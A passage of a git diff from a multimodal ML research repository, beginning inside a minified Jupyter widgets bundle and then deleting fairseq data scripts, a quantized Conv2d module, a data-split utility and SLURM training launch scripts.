i=f.call(this,e,t,s);if(void 0!==this._buffered_state_diff){const e=this.changedAttributes()||{};if(this._state_lock)for(const t of Object.keys(this._state_lock))e[t]===this._state_lock[t]&&delete e[t];if(this._buffered_state_diff_synced)for(const t of Object.keys(this._buffered_state_diff_synced))e[t]===this._buffered_state_diff_synced[t]&&delete e[t];this._buffered_state_diff=a(this._buffered_state_diff,e)}return!1===this._changing&&(this._buffered_state_diff_synced={}),i}sync(e,t,s={}){if(void 0===this.comm)throw"Syncing error: no comm channel defined";const i="patch"===e?s.attrs:t.get_state(s.drop_defaults);if(this._state_lock)for(const e of Object.keys(this._state_lock))i[e]===this._state_lock[e]&&delete i[e];Object.keys(i).forEach((e=>{this._attrsToUpdate.add(e)}));const n=this.serialize(i);if(Object.keys(n).length>0){const t=s.callbacks||this.callbacks();if(this._pending_msgs>=1){switch(e){case"patch":this._msg_buffer=a(this._msg_buffer||{},n);break;case"update":case"create":this._msg_buffer=n;break;default:throw"unrecognized syncing method"}this._msg_buffer_callbacks=t}else{const e=this.send_sync_message(i,t);this.rememberLastUpdateFor(e)}}}rememberLastUpdateFor(e){this._attrsToUpdate.forEach((t=>{this._expectedEchoMsgIds.set(t,e)})),this._attrsToUpdate=new Set}serialize(e){const t=this.constructor.serializers||{};for(const s of Object.keys(e))try{t[s]&&t[s].serialize?e[s]=t[s].serialize(e[s],this):e[s]=JSON.parse(JSON.stringify(e[s])),e[s]&&e[s].toJSON&&(e[s]=e[s].toJSON())}catch(e){throw console.error("Error serializing widget state attribute: ",s),e}return e}send_sync_message(e,t={}){if(!this.comm)return"";try{const s=(t={shell:Object.assign({},t.shell),iopub:Object.assign({},t.iopub),input:t.input}).iopub.status;t.iopub.status=e=>{this._handle_status(e),s&&s(e)};const i=g(e),n=this.comm.send({method:"update",state:i.state,buffer_paths:i.buffer_paths},t,{},i.buffers);return this._pending_msgs++,n}catch(e){console.error("Could not send widget sync message",e)}return""}save_changes(e){if(this.comm_live){const t={patch:!0};e&&(t.callbacks=e),this.save(this._buffered_state_diff,t),this._changing&&a(this._buffered_state_diff_synced,this._buffered_state_diff),this._buffered_state_diff={}}}on_some_change(e,t,s){this.on("change",((...i)=>{e.some(this.hasChanged,this)&&t.apply(s,i)}),this)}toJSON(e){return`IPY_MODEL_${this.model_id}`}static _deserialize_state(e,t){const s=this.serializers;let i;if(s){i={};for(const n in e)s[n]&&s[n].deserialize?i[n]=s[n].deserialize(e[n],t):i[n]=e[n]}else i=e;return h(i)}}class L extends P{defaults(){return a(super.defaults(),{_dom_classes:[],tabbable:null,tooltip:null})}}L.serializers=Object.assign(Object.assign({},P.serializers),{layout:{deserialize:M},style:{deserialize:M}});class C extends j{constructor(e){super(e)}initialize(e){this.listenTo(this.model,"change",(()=>{const e=Object.keys(this.model.changedAttributes()||{});"_view_count"===e[0]&&1===e.length||this.update()})),this.options=e.options,this.once("remove",(()=>{"number"==typeof this.model.get("_view_count")&&(this.model.set("_view_count",this.model.get("_view_count")-1),this.model.save_changes())})),this.once("displayed",(()=>{"number"==typeof this.model.get("_view_count")&&(this.model.set("_view_count",this.model.get("_view_count")+1),this.model.save_changes())})),this.displayed=new Promise(((e,t)=>{this.once("displayed",e),this.model.on("msg:custom",this.handle_message.bind(this))}))}handle_message(e){"focus"===e.do?this.el.focus():"blur"===e.do&&this.el.blur()}update(e){}render(){}create_child_view(e,t={}){return t=Object.assign({parent:this},t),this.model.widget_manager.create_view(e,t).catch(d("Could not create child view",!0))}callbacks(){return this.model.callbacks(this)}send(e,t){this.model.send(e,this.callbacks(),t)}touch(){this.model.save_changes(this.callbacks())}remove(){return super.remove(),this.trigger("remove"),this}}class z extends E.Widget{constructor(e){const t=e.view;delete e.view,super(e),this._view=t}dispose(){this.isDisposed||(super.dispose(),this._view.remove(),this._view=null)}processMessage(e){super.processMessage(e),this._view.processLuminoMessage(e)}}const W=z;class A extends E.Panel{constructor(e){const t=e.view;delete e.view,super(e),this._view=t}processMessage(e){super.processMessage(e),this._view.processLuminoMessage(e)}dispose(){var e;this.isDisposed||(super.dispose(),null===(e=this._view)||void 0===e||e.remove(),this._view=null)}}class T extends C{initialize(e){super.initialize(e),this.listenTo(this.model,"change:_dom_classes",((e,t)=>{const s=e.previous("_dom_classes");this.update_classes(s,t)})),this.layoutPromise=Promise.resolve(),this.listenTo(this.model,"change:layout",((e,t)=>{this.setLayout(t,e.previous("layout"))})),this.stylePromise=Promise.resolve(),this.listenTo(this.model,"change:style",((e,t)=>{this.setStyle(t,e.previous("style"))})),this.displayed.then((()=>{this.update_classes([],this.model.get("_dom_classes")),this.setLayout(this.model.get("layout")),this.setStyle(this.model.get("style"))})),this._comm_live_update(),this.listenTo(this.model,"comm_live_update",(()=>{this._comm_live_update()})),this.listenTo(this.model,"change:tooltip",this.updateTooltip),this.updateTooltip()}setLayout(e,t){e&&(this.layoutPromise=this.layoutPromise.then((t=>(t&&(t.unlayout(),this.stopListening(t.model),t.remove()),this.create_child_view(e).then((e=>this.displayed.then((()=>(e.trigger("displayed"),this.listenTo(e.model,"change",(()=>{O.MessageLoop.postMessage(this.luminoWidget,E.Widget.ResizeMessage.UnknownSize)})),O.MessageLoop.postMessage(this.luminoWidget,E.Widget.ResizeMessage.UnknownSize),this.trigger("layout-changed"),e))))).catch(d("Could not add LayoutView to DOMWidgetView",!0))))))}setStyle(e,t){e&&(this.stylePromise=this.stylePromise.then((t=>(t&&(t.unstyle(),this.stopListening(t.model),t.remove()),this.create_child_view(e).then((e=>this.displayed.then((()=>(e.trigger("displayed"),this.trigger("style-changed"),e))))).catch(d("Could not add styleView to DOMWidgetView",!0))))))}updateTooltip(){const e=this.model.get("tooltip");e?0===this.model.get("description").length&&this.el.setAttribute("title",e):this.el.removeAttribute("title")}update_classes(e,t,s){void 0===s&&(s=this.el),r(e,t).map((function(e){s.classList?s.classList.remove(e):s.setAttribute("class",s.getAttribute("class").replace(e,""))})),r(t,e).map((function(e){s.classList?s.classList.add(e):s.setAttribute("class",s.getAttribute("class").concat(" ",e))}))}update_mapped_classes(e,t,s){let i=this.model.previous(t);const n=e[i]?e[i]:[];i=this.model.get(t);const o=e[i]?e[i]:[];this.update_classes(n,o,s||this.el)}set_mapped_classes(e,t,s){const i=this.model.get(t),n=e[i]?e[i]:[];this.update_classes([],n,s||this.el)}_setElement(e){this.luminoWidget&&this.luminoWidget.dispose(),this.$el=e instanceof y()?e:y()(e),this.el=this.$el[0],this.luminoWidget=new z({node:e,view:this})}remove(){return this.luminoWidget&&this.luminoWidget.dispose(),super.remove()}processLuminoMessage(e){switch(e.type){case"after-attach":this.trigger("displayed");break;case"show":this.trigger("shown")}}_comm_live_update(){this.model.comm_live?this.luminoWidget.removeClass("jupyter-widgets-disconnected"):this.luminoWidget.addClass("jupyter-widgets-disconnected")}updateTabindex(){const e=this.model.get("tabbable");!0===e?this.el.setAttribute("tabIndex","0"):!1===e?this.el.setAttribute("tabIndex","-1"):null===e&&this.el.removeAttribute("tabIndex")}get pWidget(){return this.luminoWidget}}const N={align_content:null,align_items:null,align_self:null,border_top:null,border_right:null,border_bottom:null,border_left:null,bottom:null,display:null,flex:null,flex_flow:null,height:null,justify_content:null,justify_items:null,left:null,margin:null,max_height:null,max_width:null,min_height:null,min_width:null,overflow:null,order:null,padding:null,right:null,top:null,visibility:null,width:null,object_fit:null,object_position:null,grid_auto_columns:null,grid_auto_flow:null,grid_auto_rows:null,grid_gap:null,grid_template_rows:null,grid_template_columns:null,grid_template_areas:null,grid_row:null,grid_column:null,grid_area:null};class V extends P{defaults(){return a(super.defaults(),{_model_name:"LayoutModel",_view_name:"LayoutView"},N)}}class I extends C{initialize(e){this._traitNames=[],super.initialize(e);for(const e of Object.keys(N))this.registerTrait(e)}registerTrait(e){this._traitNames.push(e),this.listenTo(this.model,"change:"+e,((t,s)=>{this.handleChange(e,s)})),this.handleChange(e,this.model.get(e))}css_name(e){return e.replace(/_/g,"-")}handleChange(e,t){const s=this.options.parent;s?null===t?s.el.style.removeProperty(this.css_name(e)):s.el.style.setProperty(this.css_name(e),t):console.warn("Style not applied because a parent view does not exist")}unlayout(){const e=this.options.parent;this._traitNames.forEach((t=>{e?e.el.style.removeProperty(this.css_name(t)):console.warn("Style not removed because a parent view does not exist")}),this)}}class D extends P{defaults(){const e=this.constructor;return a(super.defaults(),{_model_name:"StyleModel",_view_name:"StyleView"},Object.keys(e.styleProperties).reduce(((t,s)=>(t[s]=e.styleProperties[s].default,t)),{}))}}D.styleProperties={};class J extends C{initialize(e){this._traitNames=[],super.initialize(e);const t=this.model.constructor;for(const e of Object.keys(t.styleProperties))this.registerTrait(e);this.style()}registerTrait(e){this._traitNames.push(e),this.listenTo(this.model,"change:"+e,((t,s)=>{this.handleChange(e,s)}))}handleChange(e,t){const s=this.options.parent;if(s){const i=this.model.constructor.styleProperties,n=i[e].attribute,o=i[e].selector,r=o?s.el.querySelectorAll(o):[s.el];if(null===t)for(let e=0;e!==r.length;++e)r[e].style.removeProperty(n);else for(let e=0;e!==r.length;++e)r[e].style.setProperty(n,t)}else console.warn("Style not applied because a parent view does not exist")}style(){for(const e of this._traitNames)this.handleChange(e,this.model.get(e))}unstyle(){const e=this.options.parent,t=this.model.constructor.styleProperties;this._traitNames.forEach((s=>{if(e){const i=t[s].attribute,n=t[s].selector,o=n?e.el.querySelectorAll(n):[e.el];for(let e=0;e!==o.length;++e)o[e].style.removeProperty(i)}else console.warn("Style not removed because a parent view does not exist")}),this)}}var U;!function(e){let t;!function(e){e.CommManager=class{constructor(e){this.targets=Object.create(null),this.comms=Object.create(null),this.init_kernel(e)}init_kernel(e){this.kernel=e,this.jsServicesKernel=e}async new_comm(e,s,i,n,o,r){const l=this.jsServicesKernel.createComm(e,o),a=new t(l);return this.register_comm(a),a.open(s,i,n,r),a}register_target(e,s){const i=this.jsServicesKernel.registerCommTarget(e,((e,i)=>{const n=new t(e);this.register_comm(n);try{return s(n,i)}catch(e){n.close(),console.error(e),console.error(new Error("Exception opening new comm"))}}));this.targets[e]=i}unregister_target(e,t){this.targets[e].dispose(),delete this.targets[e]}register_comm(e){return this.comms[e.comm_id]=Promise.resolve(e),e.kernel=this.kernel,e.comm_id}};class t{constructor(e){this.jsServicesComm=e}get comm_id(){return this.jsServicesComm.commId}get target_name(){return this.jsServicesComm.targetName}open(e,t,s,i){const n=this.jsServicesComm.open(e,s,i);return this._hookupCallbacks(n,t),n.msg.header.msg_id}send(e,t,s,i){const n=this.jsServicesComm.send(e,s,i);return this._hookupCallbacks(n,t),n.msg.header.msg_id}close(e,t,s,i){const n=this.jsServicesComm.close(e,s,i);return this._hookupCallbacks(n,t),n.msg.header.msg_id}on_msg(e){this.jsServicesComm.onMsg=e.bind(this)}on_close(e){this.jsServicesComm.onClose=e.bind(this)}_hookupCallbacks(e,t){t&&(e.onReply=function(e){t.shell&&t.shell.reply&&t.shell.reply(e)},e.onStdin=function(e){t.input&&t.input(e)},e.onIOPub=function(e){if(t.iopub)if(t.iopub.status&&"status"===e.header.msg_type)t.iopub.status(e);else if(t.iopub.clear_output&&"clear_output"===e.header.msg_type)t.iopub.clear_output(e);else if(t.iopub.output)switch(e.header.msg_type){case"display_data":case"execute_result":case"stream":case"error":t.iopub.output(e)}})}}e.Comm=t}(t=e.services||(e.services={}))}(U||(U={}));class R{constructor(e,t,s){this.initialize(e,t,s)}initialize(e,t,s){this._handler_context=s||this,this._models=[],this.views=[],this._create_view=e,this._remove_view=t||function(e){e.remove()}}update(e,t,s,i){const n=s||this._remove_view,o=t||this._create_view;i=i||this._handler_context;let r=0;for(;r<e.length&&!(r>=this._models.length||e[r]!==this._models[r]);r++);const l=r,a=this.views.splice(l,this.views.length-l);for(let e=0;e<a.length;e++)a[e].then((function(e){n.call(i,e)}));for(;r<e.length;r++)this.views.push(Promise.resolve(o.call(i,e[r],r)));return this._models=e.slice(),Promise.all(this.views)}remove(){return Promise.all(this.views).then((e=>{e.forEach((e=>this._remove_view.call(this._handler_context,e))),this.views=[],this._models=[]}))}dispose(){this.views=null,this._models=null}}const B=new i.Token("jupyter.extensions.jupyterWidgetRegistry");function $(e,t){return class extends L{constructor(s,i){super(s=Object.assign(Object.assign({},s),{_view_name:"ErrorWidgetView",_view_module:"@jupyter-widgets/base",_model_module_version:x,_view_module_version:x,msg:t,error:e}),i),this.comm_live=!0}}}class H extends T{generateErrorMessage(){return{msg:this.model.get("msg"),stack:String(this.model.get("error").stack)}}render(){const{msg:e,stack:t}=this.generateErrorMessage();this.el.classList.add("jupyter-widgets");const s=document.createElement("div");s.classList.add("jupyter-widgets-error-widget","icon-error"),s.innerHTML=p;const i=document.createElement("pre");let n,o;i.style.textAlign="center",i.innerText="Click to show javascript error.",s.append(i),this.el.appendChild(s),this.el.onclick=()=>{s.classList.contains("icon-error")&&(o=o||s.clientHeight,n=n||s.clientWidth,s.classList.remove("icon-error"),s.innerHTML=`\n        <pre>[Open Browser Console for more detailed log - Double click to close this message]\n${e}\n${t}</pre>\n        `,s.style.height=`${o}px`,s.style.width=`${n}px`,s.classList.add("text-error"))},this.el.ondblclick=()=>{s.classList.contains("text-error")&&(s.classList.remove("text-error"),s.innerHTML=p,s.append(i),s.classList.add("icon-error"))}}}function G(e,t){return class extends H{generateErrorMessage(){return{msg:t,stack:String(e instanceof Error?e.stack:e)}}}}}}]);
\ No newline at end of file
diff --git a/spaces/mshukor/UnIVAL/fairseq/examples/multilingual/data_scripts/download_ML50_v1.sh b/spaces/mshukor/UnIVAL/fairseq/examples/multilingual/data_scripts/download_ML50_v1.sh
deleted file mode 100644
index 99fbc75920836a4b4bbdbd6b523749843288e450..0000000000000000000000000000000000000000
--- a/spaces/mshukor/UnIVAL/fairseq/examples/multilingual/data_scripts/download_ML50_v1.sh
+++ /dev/null
@@ -1,30 +0,0 @@
-#!/bin/bash
-# Copyright (c) Facebook, Inc. and its affiliates.
-# All rights reserved.
-#
-# This source code is licensed under the license found in the
-# LICENSE file in the root directory of this source tree.
-
-if [ -z $WORKDIR_ROOT ] ;
-then
-        echo "please specify your working directory root in environment variable WORKDIR_ROOT. Exitting..."
-        exit
-fi
-
-# first run download_wmt20.sh; it will install a few useful tools for other scripts
-# TODO: need to print out instructions on downloading a few files which requires manually authentication from the websites
-bash ./download_wmt20.sh
-
-python ./download_wmt19_and_before.py
-bash ./download_wat19_my.sh
-python ./download_ted_and_extract.py
-bash ./download_lotus.sh
-bash ./download_iitb.sh
-bash ./download_af_xh.sh
-
-
-# IWSLT downloading URLs have changed in between; TODO: fix them:
-bash ./download_iwslt_and_extract.sh
-
-# TODO: globalvoices URLs changed; need to be fixed
-bash ./download_flores_data.sh
diff --git a/spaces/mshukor/UnIVAL/fairseq/fairseq/modules/quantization/scalar/modules/qconv.py b/spaces/mshukor/UnIVAL/fairseq/fairseq/modules/quantization/scalar/modules/qconv.py
deleted file mode 100644
index 83788c6f71fd41e61fd115681a22d53ce8b8362c..0000000000000000000000000000000000000000
--- a/spaces/mshukor/UnIVAL/fairseq/fairseq/modules/quantization/scalar/modules/qconv.py
+++ /dev/null
@@ -1,149 +0,0 @@
-# Copyright (c) Facebook, Inc. and its affiliates.
-#
-# This source code is licensed under the MIT license found in the
-# LICENSE file in the root directory of this source tree.
-
-import torch
-import torch.nn.functional as F
-from torch.nn.modules.conv import _ConvNd
-from torch.nn.modules.utils import _pair
-
-from ..ops import emulate_int
-
-
-class IntConv2d(_ConvNd):
-    """
-    Quantized counterpart of the nn.Conv2d module that applies QuantNoise during training.
-
-    Args:
-        - standard nn.Conv2d parameters
-        - p: amount of noise to inject (0 = no quantization, 1 = quantize all the weights)
-        - bits: number of bits
-        - method: choose among {"tensor", "histogram", "channel"}
-        - update_step: recompute scale and zero_point every update_steps iterations
-
-    Remarks:
-        - We use the straight-thgourh estimator so that the gradients
-          back-propagate nicely in the network, this is implemented with
-          the detach() trick
-        - Parameters scale and zero_point are recomputed every update_step
-          forward pass to reduce the overhead
-        - At test time, the weights are fully quantized
-    """
-
-    def __init__(
-        self,
-        in_channels,
-        out_channels,
-        kernel_size,
-        stride=1,
-        padding=0,
-        dilation=1,
-        groups=1,
-        bias=True,
-        padding_mode="zeros",
-        p=0,
-        bits=8,
-        method="histogram",
-        update_step=1000,
-    ):
-        kernel_size = _pair(kernel_size)
-        stride = _pair(stride)
-        padding = _pair(padding)
-        dilation = _pair(dilation)
-        super(IntConv2d, self).__init__(
-            in_channels,
-            out_channels,
-            kernel_size,
-            stride,
-            padding,
-            dilation,
-            False,
-            _pair(0),
-            groups,
-            bias,
-            padding_mode,
-        )
-
-        # quantization parameters
-        self.p = p
-        self.bits = bits
-        self.method = method
-        self.update_step = update_step
-        self.counter = 0
-
-    def _conv_forward(self, input, weight):
-        if self.padding_mode != "zeros":
-            return F.conv2d(
-                F.pad(input, self._padding_repeated_twice, mode=self.padding_mode),
-                weight,
-                self.bias,
-                self.stride,
-                _pair(0),
-                self.dilation,
-                self.groups,
-            )
-        return F.conv2d(
-            input,
-            weight,
-            self.bias,
-            self.stride,
-            self.padding,
-            self.dilation,
-            self.groups,
-        )
-
-    def forward(self, input):
-        # train with QuantNoise and evaluate the fully quantized network
-        p = self.p if self.training else 1
-
-        # update parameters every 100 iterations
-        if self.counter % self.update_step == 0:
-            self.scale = None
-            self.zero_point = None
-        self.counter += 1
-
-        # quantize weight
-        weight_quantized, self.scale, self.zero_point = emulate_int(
-            self.weight.detach(),
-            bits=self.bits,
-            method=self.method,
-            scale=self.scale,
-            zero_point=self.zero_point,
-        )
-
-        # mask to apply noise
-        mask = torch.zeros_like(self.weight)
-        mask.bernoulli_(1 - p)
-        noise = (weight_quantized - self.weight).masked_fill(mask.bool(), 0)
-
-        # using straight-through estimator (STE)
-        clamp_low = -self.scale * self.zero_point
-        clamp_high = self.scale * (2 ** self.bits - 1 - self.zero_point)
-        weight = (
-            torch.clamp(self.weight, clamp_low.item(), clamp_high.item())
-            + noise.detach()
-        )
-
-        # return output
-        output = self._conv_forward(input, weight)
-        return output
-
-    def extra_repr(self):
-        return (
-            "in_channels={}, out_channels={}, kernel_size={}, stride={}, "
-            "padding={}, dilation={}, groups={}, bias={}, quant_noise={}, "
-            "bits={}, method={}".format(
-                self.in_channels,
-                self.out_channels,
-                self.kernel_size,
-                self.stride,
-                self.padding,
-                self.dilation,
-                self.groups,
-                self.bias is not None,
-                self.p,
-                self.bits,
-                self.method,
-            )
-        )
diff --git a/spaces/mshukor/UnIVAL/fairseq/scripts/split_train_valid_docs.py b/spaces/mshukor/UnIVAL/fairseq/scripts/split_train_valid_docs.py
deleted file mode 100644
index ff159785284a13b44626b207d84430c592acaf8f..0000000000000000000000000000000000000000
--- a/spaces/mshukor/UnIVAL/fairseq/scripts/split_train_valid_docs.py
+++ /dev/null
@@ -1,86 +0,0 @@
-#!/usr/bin/env python3
-# Copyright (c) Facebook, Inc. and its affiliates.
-#
-# This source code is licensed under the MIT license found in the
-# LICENSE file in the root directory of this source tree.
-"""
-Split a large file into a train and valid set while respecting document
-boundaries. Documents should be separated by a single empty line.
-"""
-
-import argparse
-import random
-import sys
-
-
-def main():
-    parser = argparse.ArgumentParser()
-    parser.add_argument("input")
-    parser.add_argument("sample_output", help="train output file")
-    parser.add_argument("remainder_output", help="valid output file")
-    parser.add_argument("-k", type=int, help="remainder size")
-    parser.add_argument(
-        "--lines", action="store_true", help="split lines instead of docs"
-    )
-    args = parser.parse_args()
-
-    assert args.k is not None
-
-    sample = []
-    remainder = []
-    num_docs = [0]
-
-    def update_sample(doc):
-        if len(sample) < args.k:
-            sample.append(doc.copy())
-        else:
-            i = num_docs[0]
-            j = random.randrange(i + 1)
-            if j < args.k:
-                remainder.append(sample[j])
-                sample[j] = doc.copy()
-            else:
-                remainder.append(doc.copy())
-        num_docs[0] += 1
-        doc.clear()
-
-    with open(args.input, "r", encoding="utf-8") as h:
-        doc = []
-        for i, line in enumerate(h):
-            if line.strip() == "":  # empty line indicates new document
-                update_sample(doc)
-            else:
-                doc.append(line)
-            if args.lines:
-                update_sample(doc)
-            if i % 1000000 == 0:
-                print(i, file=sys.stderr, end="", flush=True)
-            elif i % 100000 == 0:
-                print(".", file=sys.stderr, end="", flush=True)
-        if len(doc) > 0:
-            update_sample(doc)
-    print(file=sys.stderr, flush=True)
-
-    assert len(sample) == args.k
-
-    with open(args.sample_output, "w", encoding="utf-8") as out:
-        first = True
-        for doc in sample:
-            if not first and not args.lines:
-                out.write("\n")
-            first = False
-            for line in doc:
-                out.write(line)
-
-    with open(args.remainder_output, "w", encoding="utf-8") as out:
-        first = True
-        for doc in remainder:
-            if not first and not args.lines:
-                out.write("\n")
-            first = False
-            for line in doc:
-                out.write(line)
-
-
-if __name__ == "__main__":
-    main()
diff --git a/spaces/mshukor/UnIVAL/run_scripts/caption/scaling_best/onlylinear/unival_caption_stage_2_s1_onlylinear.sh b/spaces/mshukor/UnIVAL/run_scripts/caption/scaling_best/onlylinear/unival_caption_stage_2_s1_onlylinear.sh
deleted file mode 100644
index ed2143fc0fe99b09cc1e32e913292ad70776a40f..0000000000000000000000000000000000000000
--- a/spaces/mshukor/UnIVAL/run_scripts/caption/scaling_best/onlylinear/unival_caption_stage_2_s1_onlylinear.sh
+++ /dev/null
@@ -1,199 +0,0 @@
-
-
-# Number of GPUs per GPU worker
-export GPUS_PER_NODE=8
-# Number of GPU workers, for single-worker training, please set to 1
-export NUM_NODES=$SLURM_NNODES
-# The ip address of the rank-0 worker, for single-worker training, please set to localhost
-master_addr=$(scontrol show hostnames "$SLURM_JOB_NODELIST" | head -n 1)
-export MASTER_ADDR=$master_addr
-
-# The port for communication
-export MASTER_PORT=12350
-# The rank of this worker, should be in {0, ..., WORKER_CNT-1}, for single-worker training, please set to 0
-export RANK=$SLURM_NODEID
-
-echo "MASTER_ADDR: $MASTER_ADDR"
-echo "RANK :$RANK"
-echo "NUM_NODES :$NUM_NODES"
-echo "GPUS_PER_NODE :$GPUS_PER_NODE"
-
-export MIOPEN_USER_DB_PATH=/lus/home/NAT/gda2204/mshukor/.config/miopen_${MASTER_ADDR}_${SLURM_PROCID}/
-
-echo "MIOPEN_USER_DB_PATH :$MIOPEN_USER_DB_PATH"
-
-num_workers=0
-
-
-exp_name=unival_caption_stage_2_s1_onlylinear
-
-
-
-ofa_dir=/lus/home/NAT/gda2204/mshukor/code/unival
-base_data_dir=/lus/scratch/NAT/gda2204/SHARED/data
-base_log_dir=/work/NAT/gda2204/mshukor/logs
-
-
-save_dir=${base_log_dir}/ofa/checkpoints/caption/${exp_name}
-log_dir=${save_dir}
-
-mkdir -p $log_dir $save_dir
-
-bpe_dir=${ofa_dir}/utils/BPE
-user_dir=${ofa_dir}/ofa_module
-
-
-
-image_dir=${base_data_dir}
-
-
-data_dir=${base_data_dir}/ofa/caption_data
-data=${data_dir}/caption_stage1_train_1.tsv,${data_dir}/caption_stage1_train_2.tsv,${data_dir}/caption_stage1_train_3.tsv,${data_dir}/caption_stage1_train_4.tsv,${data_dir}/caption_stage1_train_5.tsv,${data_dir}/caption_stage1_train_6.tsv,${data_dir}/caption_stage1_train_7.tsv,${data_dir}/caption_stage1_train_8.tsv,${data_dir}/caption_stage1_train_9.tsv,${data_dir}/caption_stage1_train_10.tsv,${data_dir}/caption_val.tsv
-
-eval_cider_cached=${data_dir}/cider_cached_tokens/coco-valid-words.p
-
-
-restore_file=${base_log_dir}/ofa/checkpoints/pretrain/unival_s2_hs/checkpoint3.pt
-
-selected_cols=0,4,2
-
-task=caption
-arch=unival_base
-pretrained_model=  
-
-
-criterion=adjust_label_smoothed_encouraging_loss
-label_smoothing=0.1
-lr=5e-4
-max_epoch=25
-warmup_ratio=0.06
-batch_size=16
-update_freq=2
-resnet_drop_path_rate=0.0
-encoder_drop_path_rate=0.1
-decoder_drop_path_rate=0.1
-dropout=0.1
-attention_dropout=0.0
-max_src_length=80
-max_tgt_length=20
-num_bins=1000
-# patch_image_size=480
-drop_worst_ratio=0.2
-
-
-###
-image_encoder_name=timm_resnet #vit_base_patch16_224
-patch_image_size=480
-resnet_type=resnet101
-
-resnet_model_path=${base_log_dir}/pretrained_models/resnet101-5d3b4d8f.pth
-
-# video
-video_encoder_name=all_resnext101
-patch_frame_size=384
-video_model_path=${base_log_dir}/pretrained_models/3dcnn/resnext-101-kinetics.pth #${base_log_dir}/pretrained_models/TimeSformer_divST_8x32_224_K600.pyth
-num_frames=4
-
-save_interval=1
-validate_interval_updates=2000
-save_interval_updates=0
-
-
-sample_patch_num='--sample-patch-num=784' # ''
-
-eval_args='--eval-args={"beam":5,"unnormalized":true,"temperature":1.0,"stop_on_max_len":true}'
-
-drop_worst_ratio=0.05 # modified from 0.2 for el
-drop_best_ratio=0.05
-drop_best_after=6000
-log_end=0.75  # for el
-# log_end=1.  # for el
-
-for max_epoch in {$max_epoch,}; do
-  echo "max_epoch "${max_epoch}
-  for warmup_ratio in {0.06,}; do
-    echo "warmup_ratio "${warmup_ratio}
-    for drop_worst_after in {6000,}; do
-      echo "drop_worst_after "${drop_worst_after}
-
-      log_file=${log_dir}/${max_epoch}"_"${warmup_ratio}"_"${drop_worst_after}".log"
-      save_path=${save_dir}/${max_epoch}"_"${warmup_ratio}"_"${drop_worst_after}
-      mkdir -p $save_path
-
-      python3 -m torch.distributed.launch \
-          --nnodes=${NUM_NODES} \
-          --nproc_per_node=${GPUS_PER_NODE} \
-          --master_port=${MASTER_PORT} \
-          --node_rank=${RANK} \
-          --master_addr=${MASTER_ADDR} \
-          --use_env ${ofa_dir}/train.py \
-          $data \
-          --selected-cols=${selected_cols} \
-          --bpe-dir=${bpe_dir} \
-          --user-dir=${user_dir} \
-          --restore-file=${restore_file} \
-          --save-dir=${save_path} \
-          --task=${task} \
-          --arch=${arch} \
-          --criterion=${criterion} \
-          --label-smoothing=${label_smoothing} \
-          --batch-size=${batch_size} \
-          --update-freq=${update_freq} \
-          --encoder-normalize-before \
-          --decoder-normalize-before \
-          --share-decoder-input-output-embed \
-          --share-all-embeddings \
-          --layernorm-embedding \
-          --patch-layernorm-embedding \
-          --code-layernorm-embedding \
-          --resnet-drop-path-rate=${resnet_drop_path_rate} \
-          --encoder-drop-path-rate=${encoder_drop_path_rate} \
-          --decoder-drop-path-rate=${decoder_drop_path_rate} \
-          --dropout=${dropout} \
-          --attention-dropout=${attention_dropout} \
-          --weight-decay=0.01 --optimizer=adam --adam-betas="(0.9,0.999)" --adam-eps=1e-08 --clip-norm=1.0 \
-          --lr-scheduler=polynomial_decay --lr=${lr} \
-          --max-epoch=${max_epoch} --warmup-ratio=${warmup_ratio} \
-          --log-format=simple --log-interval=10 \
-          --fixed-validation-seed=7 \
-          --no-epoch-checkpoints --keep-best-checkpoints=1 \
-          --save-interval=${save_interval} --validate-interval=1 \
-          --save-interval-updates=${save_interval_updates} --validate-interval-updates=${validate_interval_updates} \
-          --eval-cider \
-          --eval-cider-cached-tokens=${eval_cider_cached} \
-          --eval-args='{"beam":5,"max_len_b":16,"no_repeat_ngram_size":3}' \
-          --best-checkpoint-metric=cider --maximize-best-checkpoint-metric \
-          --max-src-length=${max_src_length} \
-          --max-tgt-length=${max_tgt_length} \
-          --find-unused-parameters \
-          --freeze-encoder-embedding \
-          --freeze-decoder-embedding \
-          --add-type-embedding \
-          --scale-attn \
-          --scale-fc \
-          --scale-heads \
-          --disable-entangle \
-          --num-bins=${num_bins} \
-          --patch-image-size=${patch_image_size} \
-          --drop-worst-ratio=${drop_worst_ratio} \
-          --drop-worst-after=${drop_worst_after} \
-          --fp16 \
-          --fp16-scale-window=512 \
-          --num-workers=0 \
-          --image-encoder-name=${image_encoder_name} \
-          --image-dir=${image_dir} \
-          --video-encoder-name=${video_encoder_name} \
-          --video-model-path=${video_model_path} \
-          --patch-frame-size=${patch_frame_size} \
-          ${sample_patch_num} \
-          ${eval_args} \
-          --reset-dataloader --reset-meters --reset-optimizer \
-          --freeze-encoder \
-          --freeze-decoder \
-          --freeze-audio-encoder \
-          --freeze-image-encoder \
-          --freeze-video-encoder \
-          --log-end ${log_end} --drop-best-ratio ${drop_best_ratio} --drop-best-after ${drop_best_after} 
-    done
-  done
-done
\ No newline at end of file
diff --git a/spaces/mshukor/UnIVAL/slurm_adastra/averaging/ratatouille/scaling_best/snli_ve/snli_ve_ofaplus_base_pretrain_s2_hsep1_initrefcocoplus.sh b/spaces/mshukor/UnIVAL/slurm_adastra/averaging/ratatouille/scaling_best/snli_ve/snli_ve_ofaplus_base_pretrain_s2_hsep1_initrefcocoplus.sh
deleted file mode 100644
index 4430e57b52801d431078a8a5c5784df50777b07d..0000000000000000000000000000000000000000
--- a/spaces/mshukor/UnIVAL/slurm_adastra/averaging/ratatouille/scaling_best/snli_ve/snli_ve_ofaplus_base_pretrain_s2_hsep1_initrefcocoplus.sh
+++ /dev/null
@@ -1,30 +0,0 @@
-#!/bin/bash
-   
-#SBATCH --job-name=snli_ve_ofaplus_base_pretrain_s2_hsep1_initrefcocoplus
-#SBATCH --nodes=1
-#SBATCH --ntasks=1
-#SBATCH --gpus=8
-#SBATCH --threads-per-core=2
-#SBATCH --gpu-bind=closest 
-####SBATCH --nodelist=x1004c4s2b0n0
-#SBATCH --time=24:00:00
-#SBATCH -C MI250
-#SBATCH -A gda2204
-#SBATCH --mail-type=END,FAIL
-#SBATCH --output=/lus/home/NAT/gda2204/mshukor/logs/slurm/snli_ve_ofaplus_base_pretrain_s2_hsep1_initrefcocoplus.out
-#SBATCH --exclusive
-#SBATCH --mail-user=mustafa.shukor@isir.upmc.fr
-
-
-cd /lus/home/NAT/gda2204/mshukor/code/ofa_ours/run_scripts
-source /lus/home/NAT/gda2204/mshukor/.bashrc
-
-conda activate main
- 
-
-rm core-python3*
-
-
